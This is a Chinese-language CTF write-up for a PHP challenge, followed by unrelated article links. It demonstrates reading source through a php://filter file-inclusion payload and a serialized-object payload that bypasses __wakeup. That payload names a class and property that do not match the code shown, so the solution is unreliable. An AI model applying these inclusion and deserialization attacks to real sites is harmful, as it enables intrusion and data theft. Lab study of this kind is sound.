filter CTF
filter CTF


输入url
http://dc1ce3ad-eed4-48fd-a068-71aef12f7654.node.vaala.ink?file=demo.php

参考题目filter
php://filter:读取Php文件
?file=php://filter/convert.base64-encode/resource=
http://hhh?file=php://filter/convert.base64-encode/resource=demo.php

解码出来:
查看一下index.php
<?php
error_reporting(0);
if (!$_GET['file'])
echo '?file=demo.php<br>';
else
{
$file = $_GET['file'];
if (strstr($file, "../") || stristr($file, "tp") || stristr($file, "input") || stristr($file,"data"))
exit("Oh god, please no!");
else if (preg_match("/config/i", $file))
exit("i will not show it to you!");
include($file);
}
//play.php
?>
查看一下play.php
<?php
require_once ('config.php');
class Secret
{
public $flag = '';
function __construct($flag)
{
$this->flag = $flag;
}
function __wakeup()
{
$this->flag = "hacker!";
}
function __destruct()
{
if ($this->flag == '114514')
{
global $FLAG;
echo $FLAG;
}
else
echo $this->flag;
}
}
$s = unserialize($_GET['code']);
?>
$s = unserialize($_GET['code']);
反序列化

反序列化 漏洞
php允许保存一个对象方便以后重用:序列化
serialize可以将变量转换为字符串并且在转换中可以保存当前变量的值
unserialize则可以将serialize生成的字符串变换回变量
序列化字符串,表示对象属性个数的值大于实际属性个数时,就会跳过wakeup方法的执行
明确了这些之后,就可以构造出Payload了,需反序列化的对象为:
O:5:”SoFun”:2:{S:7:”\00*\00file”;s:8:”flag.php”;}
O:5:”SoFun” 指的是 类:5个字符:SoFun
:2: 指的是 有两个对象
S:7:”\00\00file” 指的是有个属性,有7个字符,名为\00\00file
s:8:”flag.php” 指的是属性值,有8个字符,值为flag.php
值得注意的是,file是protected属性,因此需要用\00*\00来表示,\00代表ascii为0的值。
https://www.freebuf.com/news/172507.html
filter CTF的更多相关文章
- django 操作数据库--orm(object relation mapping)---models
思想 django为使用一种新的方式,即:关系对象映射(Object Relational Mapping,简称ORM). PHP:activerecord Java:Hibernate C#:Ent ...
- CTF 文件包含与伪协议
正巧在写代码审计的文章,无意间看到了一篇CTF的代码审计,CTF题目很好,用的姿势正如标题,文件包含和伪协议. 先放出原文链接(http://www.freebuf.com/column/150028 ...
- php文件包含漏洞(input与filter)
php://input php://input可以读取没有处理过的POST数据.相较于$HTTP_RAW_POST_DATA而言,它给内存带来的压力较小,并且不需要特殊的php.ini设置.php:/ ...
- 实战经验丨CTF中文件包含的技巧总结
站在巨人的肩头才会看见更远的世界,这是一篇技术牛人对CTF比赛中文件包含的内容总结,主要是对一些包含点的原理和特征进行归纳分析,并结合实际的例子来讲解如何绕过,全面细致,通俗易懂,掌握这个新技能定会让 ...
- CTF线下防御战 — 让你的靶机变成“铜墙铁壁”
本文首发安全客,未经允许禁止转载.原文链接 一. 前言 随着CTF的普及,比赛的形式也有了越来越多的花样,对于线下赛来说,开始出现了安全加固或者防御战之类的环节,亦或者因为拿下靶机后不希望其他攻击者进 ...
- 结合order by 解CTF某题
真tmd不容易 <?php error_reporting(0); if (!isset($_POST['uname']) || !isset($_POST['pwd'])) { echo '& ...
- 百道CTF刷题记录(一)
简介 最近在刷CTF题,主攻Web,兼职Misc Shiyanbar 0x01 简单的登陆题 简单概括: 考点: %00截断正则 CBC字节翻转攻击 难度: 难 WP:https://blog.csd ...
- 某CTF代码审计题
记一次参加CTF比赛翻车记! 开始还是挺有信心的,毕竟也是经常打一些CTF锻炼,然而比赛发现大佬们平时不显山不漏水的一比赛全出来了!赛后看了一下各题的writeup发现自己的确技不如人啊!借鉴一个 ...
- 20. CTF综合靶机渗透(十三)
靶机说明: Wellcome to "PwnLab: init", my first Boot2Root virtual machine. Meant to be easy, I ...
- 成都大学CTF 网络攻防演练平台 WP
web1 输入框那里鼠标右键,审查元素,删除maxlength web2 http://ctf.cdusec.org:8082/web2/?cdusec=tql web3 同上,用火狐hackbar或 ...
随机推荐
- nacos 1.4.2 建立集群,公司启动linux服务器常用命令
2022-7-29 编写micro自动处理脚本,并加入了守护精灵进程 先启动prop1 服务器(xx.1xx.165.186) 再启动prop2服务器 (xx.1xx.174.173) ####### ...
- mybatisplus SQL一对多
https://blog.csdn.net/Isyoubao/article/details/122212113 重点:<collection property="nspSchedul ...
- vue IE9兼容flex布局 css3(转载)
原文 https://blog.csdn.net/shihezhengshz/article/details/118860562 写这文章的时候的我,心力憔悴鸭,找了好长时间,呜呜┭┮﹏┭┮ 好了,开 ...
- 一 MySQL的架构与历史1.1--1.4
1.1 MySQL逻辑架构 最上层的服务并不是 MySQL 所独有的,大多数基于网络的客户端/服务器的工具或者服务都有类似的架构.比如连接处理.授权认证.安全等等. 第二层架构是MySQL比较有意思的 ...
- django验证码模块django-simple-captcha的使用介绍
django-simple-captcha是django验证码模块,非常方便易用. 1.环境的准备: 在django项目环境中安装:pip install django-simple-captcha ...
- Websocket(websocket自定义协议)
是基于TCP的 tcp特征: 我发数据对端可以接收到,对端发数据我可以收到 先发先收到,后发后收到 使用websocket客户端发给服务器数据,服务器回客户端返回数据流程(自定义websocket协议 ...
- R8051_simulation
1 下载 git clone https://github.com/risclite/R8051.git 2 编辑文件 mkdir work && mv sim tb flist .. ...
- fabric学习笔记4
fabric学习笔记4 20201303张奕博 2023.1.12 目前fabric存在的项目工程 Hyperledger Sawtooth 该项目由Intel 等企业发起和贡献的分布式账本平台,基于 ...
- linux创建数据库以及数据库用户密码
登录linux服务器成功后: 登录mysql: mysql -uroot -p 输入密码:xxxx 创建数据库: create database test 创建用户及密码: create user ' ...
- Java流程控制之Scanner的进阶使用
Scanner的进阶使用 import java.util.Scanner; public class Demo04 { public static void main(String[] args) ...